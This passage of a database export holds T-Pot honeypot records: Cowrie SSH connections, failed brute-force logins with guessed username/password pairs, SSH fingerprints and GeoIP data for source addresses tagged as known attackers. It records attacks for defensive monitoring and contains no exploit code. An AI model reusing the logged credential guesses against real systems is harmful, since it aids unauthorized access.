116.98.160.162:33762 (192.168.176.2:22) [session: d318cd4229d8]", "session": "d318cd4229d8", "@version": "1", "protocol": "ssh", "src_port": 33762, "dest_port": 22, "timestamp": "2021-09-20T11:09:55.511685Z", "@timestamp": "2021-09-20T11:09:55.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25396	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:55.635462+03	2021-09-20 14:15:10.0775+03	{"_id": "YwblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50638 (192.168.176.2:22) [session: 0f53b6be767b]", "session": "0f53b6be767b", "@version": "1", "protocol": "ssh", "src_port": 50638, "dest_port": 22, "timestamp": "2021-09-20T11:09:55.635462Z", "@timestamp": "2021-09-20T11:09:55.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25397	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:56.123889+03	2021-09-20 14:15:10.0795+03	{"_id": "ZAblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53578 (192.168.176.2:22) [session: bede61a424ae]", "session": "bede61a424ae", "@version": "1", "protocol": "ssh", "src_port": 53578, "dest_port": 22, "timestamp": "2021-09-20T11:09:56.123889Z", "@timestamp": "2021-09-20T11:09:56.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25398	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:55.556402+03	2021-09-20 14:15:10.0815+03	{"_id": "bwblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d318cd4229d8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:55.556402Z", "@timestamp": "2021-09-20T11:09:55.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25399	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:55.888535+03	2021-09-20 14:15:10.0825+03	{"_id": "cAblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [public/public] failed", "session": "c79cb9bc0850", "@version": "1", "password": "public", "username": "public", "timestamp": "2021-09-20T11:09:55.888535Z", "@timestamp": "2021-09-20T11:09:55.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25400	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:55.889267+03	2021-09-20 14:15:10.083498+03	{"_id": "cQblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d318cd4229d8", "@version": "1", "timestamp": "2021-09-20T11:09:55.889267Z", "@timestamp": "2021-09-20T11:09:55.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25401	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:55.895767+03	2021-09-20 14:15:10.0855+03	{"_id": "cgblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0f53b6be767b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:55.895767Z", "@timestamp": "2021-09-20T11:09:55.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25402	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:56.126688+03	2021-09-20 14:15:10.0865+03	{"_id": "cwblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bede61a424ae", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:56.126688Z", "@timestamp": "2021-09-20T11:09:56.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25403	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:56.296519+03	2021-09-20 14:15:10.0875+03	{"_id": "dAblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0f53b6be767b", "@version": "1", "timestamp": "2021-09-20T11:09:56.296519Z", "@timestamp": "2021-09-20T11:09:56.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25404	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:09:56.399899+03	2021-09-20 14:15:10.089501+03	{"_id": "dQblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.login.failed", "message": "login attempt [david/abc123] failed", "session": "a39d45c8167c", "@version": "1", "password": "abc123", "username": "david", "timestamp": "2021-09-20T11:09:56.399899Z", "@timestamp": "2021-09-20T11:09:56.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25405	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:56.415826+03	2021-09-20 14:15:10.0915+03	{"_id": "dgblAnwBvYTbRNuE8Rrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bede61a424ae", "@version": "1", "timestamp": "2021-09-20T11:09:56.415826Z", "@timestamp": "2021-09-20T11:09:56.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25406	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:56.402024+03	2021-09-20 14:15:10.092503+03	{"_id": "dwblAnwBvYTbRNuE9Boi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 478678064820808, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53578, "dest_port": 22, "timestamp": "2021-09-20T11:09:56.402024Z", "@timestamp": "2021-09-20T11:09:56.402Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25412	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:09:57.620419+03	2021-09-20 14:15:10.1005+03	{"_id": "hgblAnwBvYTbRNuE-Rqz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a39d45c8167c", "@version": "1", "duration": 2.398930311203003, "timestamp": "2021-09-20T11:09:57.620419Z", "@timestamp": "2021-09-20T11:09:57.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25407	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:56.92227+03	2021-09-20 14:15:10.0945+03	{"_id": "eQblAnwBvYTbRNuE9Ro2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48310, "timestamp": "2021-09-20T11:09:56.922270", "@timestamp": "2021-09-20T11:09:56.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25408	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:09:55.220848+03	2021-09-20 14:15:10.095501+03	{"_id": "UQblAnwBvYTbRNuE7Rr6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 118.70.233.117:35834 (192.168.176.2:22) [session: a39d45c8167c]", "session": "a39d45c8167c", "@version": "1", "protocol": "ssh", "src_port": 35834, "dest_port": 22, "timestamp": "2021-09-20T11:09:55.220848Z", "@timestamp": "2021-09-20T11:09:55.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 